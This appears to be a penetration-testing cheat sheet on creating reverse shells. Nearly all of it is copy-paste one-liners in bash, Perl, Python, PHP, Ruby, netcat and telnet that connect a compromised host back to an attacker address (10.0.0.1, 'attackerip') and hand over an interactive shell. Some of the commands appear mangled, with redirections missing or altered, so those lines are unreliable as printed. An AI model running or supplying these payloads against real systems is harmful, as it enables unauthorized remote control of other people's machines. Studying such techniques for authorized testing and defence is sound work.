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Exploitation

How to Create a Reverse Shell

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – although you can probably download a binary program if you are properly prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.


BASH

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10)

$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

OR

$ exec /bin/bash 0&0 2>&0

OR

$ 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

OR

$ exec 5<>/dev/tcp/attackerip/4444
$ cat <&5 | while read line; do $line 2>&5 >&5; done # or:
$ while read line 0<&5; do $line 2>&5 >&5; done
PERL

Here’s a short, feature-free version that depends on /bin/sh:

$ perl -e 'use Socket;$i="10.0.0.1"; $p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl reverse shell that does not depend on /bin/sh:

$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&>fdopen($c,r);
$~-&>fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

$ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN-&>fdopen($c,r);
$~-&>fdopen($c,w);system$_ while<>;'
PYTHON

This was tested under Linux / Python 2.7

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on most tested system. If it doesn’t work, try 4, 5, 6 …

$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
RUBY

Short version that depends on /bin/sh:

$ ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Longer Ruby reverse shell that does not depend on /bin/sh:

$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

$ ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NETCAT

Netcat is rarely present on production systems and even if it is there are several version of Netcat, some of which don’t support the -e option.

$ nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of Netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 &>/tmp/f

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

$ nc -c /bin/sh attackerip 4444

OR

$ /bin/sh | nc attackerip 4444

OR

$ rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
TELNET

Of course, you can also use Telnet as an alternative for Netcat:

$ rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

OR

# Remember to listen on your machine also on port 4445/tcp
$ telnet attackerip 4444 | /bin/bash | telnet attackerip 4445

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